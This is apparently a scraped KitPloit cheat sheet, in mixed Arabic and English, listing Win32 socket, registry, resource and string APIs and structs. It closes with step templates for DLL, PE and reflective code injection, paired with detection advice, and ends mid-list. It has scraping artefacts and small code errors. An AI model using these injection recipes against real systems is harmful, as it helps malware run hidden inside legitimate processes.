WSARecv```c int WSARecv( SOCKET s, // Descriptor identifying a connected socket. LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. LPDWORD lpFlags, // Flags to modify the behavior of the function call. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. ); //Receives data from a connected socket, and can also be used for both synchronous and asynchronous data transfer.

root@kitploit:~
[WSASendTo](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasendto)```c
int WSASendTo(
    SOCKET s, // Descriptor identifying a socket.
    LPWSABUF lpBuffers, // Array of buffers containing the data to be sent.
    DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
    LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.
    DWORD dwFlags, // Flags to modify the behavior of the function call.
    const struct sockaddr* lpTo, // Pointer to the sockaddr structure for the target address.
    int iToLen, // Size of the address in lpTo.
    LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.
); // Sends data to a specific destination, for use with connection - less socket types such as SOCK_DGRAM.

WSARecvFrom```c int WSARecvFrom( SOCKET s, // Descriptor identifying a socket. LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. LPDWORD lpFlags, // Flags to modify the behavior of the function call. struct sockaddr* lpFrom, // Pointer to an address structure that will receive the source address upon completion of the operation. LPINT lpFromlen, // Pointer to the size of the lpFrom address structure. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. ); //Receives data from a specific source, used with connection - less socket types such as SOCK_DGRAM.

root@kitploit:~
[WSAAsyncSelect](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaasyncselect)```c
int WSAAsyncSelect(
    SOCKET s, // Descriptor identifying the socket.
    HWND hWnd, // Handle to the window which should receive the message.
    unsigned int wMsg, // Message to be received when an event occurs.
    long lEvent // Bitmask specifying a group of conditions to be monitored.
); // Requests Windows message - based notification of network events for a socket.

socket```c SOCKET socket( int af, int type, int protocol ); // Creates a new socket for network communication.

root@kitploit:~
[bind](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind)```c
int bind(
    SOCKET s, 
    const struct sockaddr *name, 
    int namelen
); // Binds a socket to a specific local address and port.

listen```c int listen( SOCKET s, int backlog ); // Sets a socket to listen for incoming connections.

root@kitploit:~
[accept](https://learn.microsoft.com/en-us/windows/win32/api/Winsock2/nf-winsock2-accept)```c
SOCKET accept(
    SOCKET s, 
    struct sockaddr *addr, 
    int *addrlen
); // Accepts a new incoming connection on a listening socket.

connect```c int connect( SOCKET s, const struct sockaddr *name, int namelen ); // Initiates a connection on a socket to a remote address.

root@kitploit:~
[send](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-send)```c
int send(
    SOCKET s, 
    const char *buf, 
    int len, 
    int flags
); // Sends data on a connected socket.

recv```c int recv( SOCKET s, char *buf, int len, int flags ); // Receives data from a connected socket.

root@kitploit:~
[closesocket](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-closesocket)```c
int closesocket(
    SOCKET s
); //Closes a socket and frees its resources.

gethostbyname```c hostent* gethostbyname( const char* name // either a hostname or an IPv4 address in dotted-decimal notation ); // returns a pointer to a hostent struct. NOTE: Typically better to use getaddrinfo

root@kitploit:~
### عمليات السجل
[RegOpenKeyExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexw)```c
LONG RegOpenKeyExW(
    HKEY hKey, 
    LPCWTSTR lpSubKey, 
    DWORD ulOptions, 
    REGSAM samDesired, 
    PHKEY phkResult
); // Opens the specified registry key.

RegQueryValueExW```c LONG RegQueryValueExW( HKEY hKey, LPCWTSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData ); // Retrieves the type and data of the specified value name associated with an open registry key.

root@kitploit:~
[RegSetValueExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexw)```c
LONG RegSetValueEx(
    HKEY hKey, 
    LPCWTSTR lpValueName, 
    DWORD Reserved, 
    DWORD dwType, 
    const BYTE *lpData, 
    DWORD cbData
); // Sets the data and type of the specified value name associated with an open registry key.

RegCloseKey```c LONG RegCloseKey( HKEY hKey ); // Closes a handle to the specified registry key.

root@kitploit:~
[RegCreateKeyExA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa)```c
LSTATUS RegCreateKeyExA(
  [in]            HKEY                        hKey,
  [in]            LPCSTR                      lpSubKey,
                  DWORD                       Reserved,
  [in, optional]  LPSTR                       lpClass,
  [in]            DWORD                       dwOptions,
  [in]            REGSAM                      samDesired,
  [in, optional]  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [out]           PHKEY                       phkResult,
  [out, optional] LPDWORD                     lpdwDisposition
); // Creates the specified registry key. If the key already exists, the function opens it. Note that key names are not case sensitive. 

RegSetValueExA```c LSTATUS RegSetValueExA( [in] HKEY hKey, [in, optional] LPCSTR lpValueName, DWORD Reserved, [in] DWORD dwType, [in] const BYTE *lpData, [in] DWORD cbData ); // Sets the data and type of a specified value under a registry key.

root@kitploit:~
[RegCreateKeyA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeya)```c
LSTATUS RegCreateKeyA(
  [in]           HKEY   hKey,
  [in, optional] LPCSTR lpSubKey,
  [out]          PHKEY  phkResult
); // Creates the specified registry key. If the key already exists in the registry, the function opens it.

RegDeleteKeyA```c LSTATUS RegDeleteKeyA( [in] HKEY hKey, [in] LPCSTR lpSubKey ); // Deletes a subkey and its values. Note that key names are not case sensitive.

root@kitploit:~
[NtRenameKey](https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntrenamekey)```c
__kernel_entry NTSTATUS NtRenameKey(
  [in] HANDLE          KeyHandle,
  [in] PUNICODE_STRING NewName
); // Changes the name of the specified registry key.

معالجة الأخطاء

WSAGetLastError```c int WSAGetLastError( void ); // Returns the error status for the last Windows Sockets operation that failed.

root@kitploit:~
[WSASetLastError](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsasetlasterror)```c
void WSASetLastError(
    int iError
); // Sets the error status for the last Windows Sockets operation.

WSAGetOverlappedResult```c BOOL WSAGetOverlappedResult( SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags ); // Determines the results of an overlapped operation on the specified socket.

root@kitploit:~
[WSAIoctl](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaioctl)```c
int WSAIoctl(
    SOCKET s, 
    DWORD dwIoControlCode, 
    LPVOID lpvInBuffer, 
    DWORD cbInBuffer, 
    LPVOID lpvOutBuffer, 
    DWORD cbOutBuffer, 
    LPDWORD lpcbBytesReturned, 
    LPWSAOVERLAPPED lpOverlapped, 
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
); // Controls the mode of a socket.

WSACreateEvent```c WSAEVENT WSACreateEvent( void ); // Creates a new event object.

root@kitploit:~
[WSASetEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasetevent)```c
BOOL WSASetEvent(
    WSAEVENT hEvent
); // Sets the state of the specified event object to signaled.

WSAResetEvent```c BOOL WSAResetEvent( WSAEVENT hEvent ); // Sets the state of the specified event object to nonsignaled.

root@kitploit:~
[WSACloseEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsacloseevent)```c
BOOL WSACloseEvent(
    WSAEVENT hEvent
); // Closes an open event object handle.

WSAWaitForMultipleEvents```c DWORD WSAWaitForMultipleEvents( DWORD cEvents, const WSAEVENT *lphEvents, BOOL fWaitAll, DWORD dwTimeout, BOOL fAlertable ); // Waits for multiple event objects and returns when the specified events are signaled or the time-out interval elapses.

root@kitploit:~
### إدارة الموارد
[FindResource](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-findresourcea)```c
HRSRC FindResource(
  [in, optional] HMODULE hModule,   // A handle to the module whose portable executable file or an accompanying MUI file contains the resource. If this parameter is NULL, the function searches the module used to create the current process.
  [in]           LPCSTR  lpName,    // The name of the resource.
  [in]           LPCSTR  lpType     // The resource type.
); // Determines the location of a resource with the specified type and name in the specified module.
root@kitploit:~
HRSRC res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);

LoadResource```c HGLOBAL LoadResource( [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource. [in] HRSRC hResInfo // A handle to the resource to be loaded. ); // Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory.

root@kitploit:~
```c
HGLOBAL resHandle = resHandle = LoadResource(NULL, res);

LockResource```c LPVOID LockResource( [in] HGLOBAL hResData // A handle to the resource to be accessed ); // Retrieves a pointer to the specified resource in memory.

root@kitploit:~
```c
unsigned char * payload = (char *) LockResource(resHandle);

SizeofResource```c DWORD SizeofResource( [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource [in] HRSRC hResInfo // A handle to the resource. This handle must be created by using FindResource ); // Retrieves the size, in bytes, of the specified resource.

root@kitploit:~
```c
unsigned int payload_len = SizeofResource(NULL, res);

دوال السلاسل النصية Unicode```c

#include <wchar.h> // for wide character string routines

root@kitploit:~
### طول السلسلة```c
size_t wcslen(
    const wchar_t *str
); // Returns the length of the given wide string.

نسخ السلسلة

[wcscpy]```c wchar_t *wcscpy( wchar_t *dest, const wchar_t *src ); // Copies the wide string from src to dest.

root@kitploit:~
[wcsncpy]```c
wchar_t *wcsncpy(
    wchar_t *dest, 
    const wchar_t *src, 
    size_t count
); // Copies at most count characters from the wide string src to dest.

تسلسل السلاسل

[wcscat]```c wchar_t *wcscat( wchar_t *dest, const wchar_t *src ); // Appends the wide string src to the end of the wide string dest.

root@kitploit:~
[wcsncat]```c
wchar_t *wcsncat(
    wchar_t *dest, 
    const wchar_t *src, 
    size_t count
); // Appends at most count characters from the wide string src to the end of the wide string dest.

مقارنة السلاسل

[wcscmp]```c int wcscmp( const wchar_t *str1, const wchar_t *str2 ); // Compares two wide strings lexicographically.

root@kitploit:~
[wcsncmp]```c
int wcsncmp(
    const wchar_t *str1, 
    const wchar_t *str2, 
    size_t count
); // Compares up to count characters of two wide strings lexicographically.

[_wcsicmp]```c int _wcsicmp( const wchar_t *str1, const wchar_t *str2 ); // Compares two wide strings lexicographically, ignoring case.

root@kitploit:~
[_wcsnicmp]```c
int _wcsnicmp(
    const wchar_t *str1, 
    const wchar_t *str2, 
    size_t count
); // Compares up to count characters of two wide strings lexicographically, ignoring case.

البحث عن السلاسل

[wcschr]```c wchar_t *wcschr( const wchar_t *str, wchar_t c ); // Finds the first occurrence of the wide character c in the wide string str.

root@kitploit:~
[wcsrchr]```c
wchar_t *wcsrchr(
    const wchar_t *str, 
    wchar_t c
); // Finds the last occurrence of the wide character c in the wide string str.

[wcspbrk]```c wchar_t *wcspbrk( const wchar_t *str1, const wchar_t *str2 ); // Finds the first occurrence in the wide string str1 of any character from the wide string str2.

root@kitploit:~
[wcsstr]```c
wchar_t *wcsstr(
    const wchar_t *str1, 
    const wchar_t *str2
); // Finds the first occurrence of the wide string str2 in the wide string str1.

[wcstok]```c wchar_t *wcstok( wchar_t *str, const wchar_t *delimiters ); // Splits the wide string str into tokens based on the delimiters.

root@kitploit:~
### تصنيف الأحرف وتحويلها
[towupper]```c
wint_t towupper(
    wint_t c
); // Converts a wide character to uppercase.

[towlower]```c wint_t towlower( wint_t c ); // Converts a wide character to lowercase.

root@kitploit:~
[iswalpha]```c
int iswalpha(
    wint_t c
); // Checks if the wide character is an alphabetic character.

[iswdigit]```c int iswdigit( wint_t c ); // Checks if the wide character is a decimal digit.

root@kitploit:~
[iswalnum]```c
int iswalnum(
    wint_t c
); // Checks if the wide character is an alphanumeric character.

[iswspace]```c int iswspace( wint_t c ); // Checks if the wide character is a whitespace character.

root@kitploit:~
[iswxdigit]```c
int iswxdigit(
    wint_t c
); // Checks if the wide character is a valid hexadecimal digit.

ورقة غش بنى Win32

البنى الشائعة

SYSTEM_INFO```cpp #include <sysinfoapi.h> // Contains information about the current computer system, including the architecture and type of the processor, the number of processors, and the page size. typedef struct _SYSTEM_INFO { union { DWORD dwOemId; struct { WORD wProcessorArchitecture; WORD wReserved; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; DWORD dwPageSize; LPVOID lpMinimumApplicationAddress; LPVOID lpMaximumApplicationAddress; DWORD_PTR dwActiveProcessorMask; DWORD dwNumberOfProcessors; DWORD dwProcessorType; DWORD dwAllocationGranularity; WORD wProcessorLevel; WORD wProcessorRevision; } SYSTEM_INFO;

root@kitploit:~
[**`FILETIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime)```cpp
#include <minwinbase.h>
// Represents the number of 100-nanosecond intervals since January 1, 1601 (UTC). Used for file and system time.
typedef struct _FILETIME {
    DWORD dwLowDateTime;
    DWORD dwHighDateTime;
} FILETIME;

STARTUPINFO```cpp #include <processthreadsapi.h> // Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time. typedef struct _STARTUPINFOA { DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFOA, *LPSTARTUPINFOA;

root@kitploit:~
[**`PROCESS_INFORMATION`**](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information)```cpp
#include <processthreadsapi.h>
// Contains information about a newly created process and its primary thread.
typedef struct _PROCESS_INFORMATION {
    HANDLE hProcess;
    HANDLE hThread;
    DWORD  dwProcessId;
    DWORD  dwThreadId;
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;

PROCESSENTRY32```c #include <tlhelp32.h> typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; ULONG_PTR th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; CHAR szExeFile[MAX_PATH]; } PROCESSENTRY32;

root@kitploit:~
[**`SECURITY_ATTRIBUTES`**](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85))```cpp
// Determines whether the handle can be inherited by child processes and specifies a security descriptor for a new object.
typedef struct _SECURITY_ATTRIBUTES {
    DWORD  nLength;
    LPVOID lpSecurityDescriptor;
    BOOL   bInheritHandle;
} SECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;

OVERLAPPED```cpp #inluce <minwinbase.h> // Contains information used in asynchronous (also known as overlapped) input and output (I/O) operations. typedef struct _OVERLAPPED { ULONG_PTR Internal; ULONG_PTR InternalHigh; union { struct { DWORD Offset; DWORD OffsetHigh; } DUMMYSTRUCTNAME; PVOID Pointer; } DUMMYUNIONNAME; HANDLE hEvent; } OVERLAPPED, *LPOVERLAPPED;

root@kitploit:~
[**`GUID`**](https://docs.microsoft.com/en-us/windows/win32/api/guiddef/ns-guiddef-guid)```cpp
#include <guiddef.h>
// Represents a globally unique identifier (GUID), used to identify objects, interfaces, and other items.
typedef struct _GUID {
    unsigned long  Data1;
    unsigned short Data2;
    unsigned short Data3;
    unsigned char  Data4[8];
} GUID;

MEMORY_BASIC_INFORMATION```cpp #include <winnt.h> // Contains information about a range of pages in the virtual address space of a process. typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

root@kitploit:~
[**`SYSTEMTIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-systemtime)```cpp
#include <minwinbase.h>
// Specifies a date and time, using individual members for the month, day, year, weekday, hour, minute, second, and millisecond.
typedef struct _SYSTEMTIME {
    WORD wYear;
    WORD wMonth;
    WORD wDayOfWeek;
    WORD wDay;
    WORD wHour;
    WORD wMinute;
    WORD wSecond;
    WORD wMilliseconds;
} SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME;

COORD```cpp // Defines the coordinates of a character cell in a console screen buffer, where the origin (0,0) is at the top-left corner. typedef struct _COORD { SHORT X; SHORT Y; } COORD, *PCOORD;

root@kitploit:~
[**`SMALL_RECT`**](https://docs.microsoft.com/en-us/windows/console/small-rect-str)```cpp
//  Defines the coordinates of the upper left and lower right corners of a rectangle.
typedef struct _SMALL_RECT {
    SHORT Left;
    SHORT Top;
    SHORT Right;
    SHORT Bottom;
} SMALL_RECT;

CONSOLE_SCREEN_BUFFER_INFO```cpp // Contains information about a console screen buffer. typedef struct _CONSOLE_SCREEN_BUFFER_INFO { COORD dwSize; COORD dwCursorPosition; WORD wAttributes; SMALL_RECT srWindow; COORD dwMaximumWindowSize; } CONSOLE_SCREEN_BUFFER_INFO, *PCONSOLE_SCREEN_BUFFER_INFO;

root@kitploit:~
[**`WSADATA`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-wsadata)```cpp
#include <winsock.h>
// Contains information about the Windows Sockets implementation.
typedef struct WSAData {
    WORD           wVersion;
    WORD           wHighVersion;
    unsigned short iMaxSockets;
    unsigned short iMaxUdpDg;
    char FAR       *lpVendorInfo;
    char           szDescription[WSADESCRIPTION_LEN+1];
    char           szSystemStatus[WSASYS_STATUS_LEN+1];
} WSADATA, *LPWSADATA;

[CRITICAL_SECTION](struct RTL_CRITICAL_SECTION (nirsoft.net))```c++ // Represents a critical section object, which is used to provide synchronization access to a shared resource. typedef struct _RTL_CRITICAL_SECTION { PRTL_CRITICAL_SECTION_DEBUG DebugInfo; LONG LockCount; LONG RecursionCount; HANDLE OwningThread; HANDLE LockSemaphore; ULONG_PTR SpinCount; } RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;

root@kitploit:~
[**`WSAPROTOCOL_INFO`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/ns-winsock2-wsaprotocol_infoa)```c++
#include <winsock2.h>
// Contains Windows Sockets protocol information.
typedef struct _WSAPROTOCOL_INFOA {
    DWORD          dwServiceFlags1;
    DWORD          dwServiceFlags2;
    DWORD          dwServiceFlags3;
    DWORD          dwServiceFlags4;
    DWORD          dwProviderFlags;
    GUID           ProviderId;
    DWORD          dwCatalogEntryId;
    WSAPROTOCOLCHAIN ProtocolChain;
    int            iVersion;
    int            iAddressFamily;
    int            iMaxSockAddr;
    int            iMinSockAddr;
    int            iSocketType;
    int            iProtocol;
    int            iProtocolMaxOffset;
    int            iNetworkByteOrder;
    int            iSecurityScheme;
    DWORD          dwMessageSize;
    DWORD          dwProviderReserved;
    CHAR           szProtocol[WSAPROTOCOL_LEN+1];
} WSAPROTOCOL_INFOA, *LPWSAPROTOCOL_INFOA;

MSGHDR```c++ #include <ws2def.h> // Contains message information for use with the sendmsg and recvmsg functions. typedef struct _WSAMSG { LPSOCKADDR name; INT namelen; LPWSABUF lpBuffers; ULONG dwBufferCount; WSABUF Control; ULONG dwFlags; } WSAMSG, *PWSAMSG, *LPWSAMSG;

root@kitploit:~
### ورقة غش لهياكل Win32 Sockets (winsock.h)
[**`SOCKADDR`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-sockaddr)```cpp
// A generic socket address structure used for compatibility with various address families.
typedef struct sockaddr {
    u_short sa_family;
    char    sa_data[14];
} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;

SOCKADDR_IN```cpp // Represents an IPv4 socket address, containing the IPv4 address, port number, and address family. typedef struct sockaddr_in { short sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; } SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN;

root@kitploit:~
[**`LINGER`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-linger)```cpp
// Used to set the socket option SO_LINGER, which determines the action taken when unsent data is queued on a socket and a `closesocket` is performed.
typedef struct linger {
    u_short l_onoff;
    u_short l_linger;
} LINGER, *PLINGER, *LPLINGER;

TIMEVAL```cpp // Represents a time interval, used with the select function to specify a timeout period. typedef struct timeval { long tv_sec; long tv_usec; } TIMEVAL, *PTIMEVAL, *LPTIMEVAL;

root@kitploit:~
[**`FD_SET`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-fd_set)```cpp
// Represents a set of sockets used with the `select` function to check for socket events.
typedef struct fd_set {
    u_int fd_count;
    SOCKET fd_array[FD_SETSIZE];
} fd_set, *Pfd_set, *LPfd_set;

ورقة غش هياكل مقابس Win32 (winsock2.h)

IN_ADDR```cpp // Represents an IPv4 address. typedef struct in_addr { union { struct { u_char s_b1, s_b2, s_b3, s_b4; } S_un_b; struct { u_short s_w1, s_w2; } S_un_w; u_long S_addr; } S_un; } IN_ADDR, *PIN_ADDR, *LPIN_ADDR;

root@kitploit:~
### ورقة الغش لهياكل Win32 Sockets (ws2def.h)
[**`ADDRINFO`**](https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-addrinfow)```cpp
#include <ws2def.h>
// Contains information about an address for use with the `getaddrinfo` function, and is used to build a linked list of addresses.
typedef struct addrinfoW {
    int             ai_flags;
    int             ai_family;
    int             ai_socktype;
    int             ai_protocol;
    size_t          ai_addrlen;
    PWSTR           *ai_canonname;
    struct sockaddr *ai_addr;
    struct addrinfo *ai_next;
} ADDRINFOW, *PADDRINFOW;

WSABUF```cpp #include <ws2def.h> // Contains a pointer to a buffer and its length. Used for scatter/gather I/O operations. typedef struct _WSABUF { ULONG len; __field_bcount(len) CHAR FAR *buf; } WSABUF, FAR * LPWSABUF;

root@kitploit:~
[**`SOCKADDR_IN6`**](https://docs.microsoft.com/en-us/windows/win32/api/ws2ipdef/ns-ws2ipdef-sockaddr_in6)```cpp
#include <ws2ipdef.h>
// Represents an IPv6 socket address, containing the IPv6 address, port number, flow info, and address family.
typedef struct sockaddr_in6 {
    short          sin6_family;
    u_short        sin6_port;
    u_long         sin6_flowinfo;
    struct in6_addr sin6_addr;
    u_long         sin6_scope_id;
} SOCKADDR_IN6, *PSOCKADDR_IN6, *LPSOCKADDR_IN6;

IN6_ADDR```cpp #include <in6addr.h> // Represents an IPv6 address. typedef struct in6_addr { union { u_char Byte[16]; u_short Word[8]; } u; } IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;

root@kitploit:~
# تقنيات حقن الكود

## 1. حقن DLL

تُجبر هذه التقنية عمليةً على تحميل مكتبة DLL ضارة.

واجهات برمجة التطبيقات الرئيسية:
- [`OpenProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)  ```c
  HANDLE OpenProcess(
    DWORD dwDesiredAccess,
    BOOL  bInheritHandle,
    DWORD dwProcessId
  );
  • VirtualAllocEx ```c LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
    root@kitploit:~
  • WriteProcessMemory ```c BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );
    root@kitploit:~
  • CreateRemoteThread ```c HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
    root@kitploit:~
  • GetProcAddress ```c FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );
    root@kitploit:~
  • LoadLibrary ```c HMODULE LoadLibraryA( LPCSTR lpLibFileName );

القالب:

  1. افتح العملية المستهدفة باستخدام OpenProcess
  2. خصّص ذاكرة في العملية المستهدفة باستخدام VirtualAllocEx
  3. اكتب مسار ملف DLL إلى الذاكرة المخصّصة باستخدام WriteProcessMemory
  4. احصل على عنوان LoadLibraryA باستخدام GetProcAddress
  5. أنشئ مؤشر ترابط بعيد في العملية المستهدفة باستخدام CreateRemoteThread، مشيرًا إلى LoadLibraryA ومرّر عنوان LoadLibraryA كمعامل lpStartAddress.
  6. (اختياري) استخدم NtCreateThread أو RtlCreateUserThread لطرق بديلة لإنشاء مؤشرات الترابط

الكشف والدفاع:

  • راقب أنماط الوصول المشبوهة إلى العمليات وتخصيص الذاكرة
  • استخدم القائمة البيضاء للتطبيقات لمنع تحميل ملفات DLL غير المصرح بها
  • نفّذ فحوصات سلامة العمليات
  • استخدم أدوات مثل Process Monitor من Microsoft لكشف محاولات حقن DLL

2. حقن PE

تتضمن هذه التقنية كتابة وتنفيذ كود خبيث في عملية بعيدة أو في نفس العملية (الحقن الذاتي).

واجهات برمجة التطبيقات الأساسية:

  • OpenThread ```c HANDLE OpenThread( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId );
    root@kitploit:~
  • SuspendThread ```c DWORD SuspendThread( HANDLE hThread );
    root@kitploit:~
  • VirtualAllocEx (انظر أعلاه)
  • WriteProcessMemory (انظر أعلاه)
  • SetThreadContext ```c BOOL SetThreadContext( HANDLE hThread, const CONTEXT *lpContext );
    root@kitploit:~
  • ResumeThread ```c DWORD ResumeThread( HANDLE hThread );
    root@kitploit:~
  • NtResumeThread (غير موثقة) ```c NTSTATUS NTAPI NtResumeThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL );

Template:

  1. افتح الخيط المستهدف باستخدام OpenThread
  2. علّق الخيط باستخدام SuspendThread
  3. خصّص ذاكرة في العملية الهدف باستخدام VirtualAllocEx
  4. اكتب الكود الخبيث إلى الذاكرة المخصصة باستخدام WriteProcessMemory
  5. عدّل سياق الخيط بحيث يشير إلى الكود المحقون باستخدام SetThreadContext
  6. استئنف الخيط باستخدام ResumeThread أو NtResumeThread

الكشف والدفاع:

  • راقب أنماط تعليق واستئناف الخيوط غير المعتادة
  • نفّذ فحوصات لتكامل الذاكرة
  • استخدم حلول كشف نقطة النهاية والاستجابة (EDR) لكشف التعديلات المشبوهة في الذاكرة
  • وظّف تقنيات فحص ذاكرة العملية في وقت التشغيل

3. الحقن الانعكاسي

يشبه حقن PE لكنه يتجنّب استخدام LoadLibrary وCreateRemoteThread. يتضمن كتابة محمّل مخصص يمكنه تحميل DLL من الذاكرة دون استخدام محمّل Windows القياسي.

واجهات برمجة التطبيقات الرئيسية:

  • CreateFileMapping ```c HANDLE CreateFileMappingA( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName );
    root@kitploit:~
  • MapViewOfFile ```c LPVOID MapViewOfFile( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap );
    root@kitploit:~
  • OpenProcess (انظر أعلاه)
  • memcpy ```c void *memcpy( void *dest, const void *src, size_t count );
    root@kitploit:~

ZwMapViewOfSection (موثق لوضع النواة) ```c NTSTATUS ZwMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect );

root@kitploit:~
- `CreateThread` (انظر CreateRemoteThread أعلاه)
- `NtQueueApcThread` (غير موثّق)  ```c
NTSTATUS NTAPI NtQueueApcThread(
  IN HANDLE ThreadHandle,
  IN PIO_APC_ROUTINE ApcRoutine,
  IN PVOID ApcRoutineContext OPTIONAL,
  IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
  IN ULONG ApcReserved OPTIONAL
);
  • RtlCreateUserThread (انظر أعلاه)

واجهات برمجة تطبيقات إضافية تُستخدم أحيانًا:

  • VirtualQueryEx ```c SIZE_T VirtualQueryEx( HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength );
    root@kitploit:~
  • ReadProcessMemory ```c BOOL ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead );
    root@kitploit:~

القالب:

  1. إنشاء تعيين ملف للـ DLL باستخدام CreateFileMapping
  2. تعيين عرض للملف باستخدام MapViewOfFile
  3. فتح العملية الهدف باستخدام OpenProcess
  4. تخصيص ذاكرة في العملية الهدف باستخدام VirtualAllocEx
  5. نسخ محتويات الـ DLL إلى الذاكرة المخصصة باستخدام WriteProcessMemory
  6. تنفيذ التحميل اليدوي وإعادة التوطين للـ DLL في العملية الهدف
  • تحليل رؤوس الـ PE
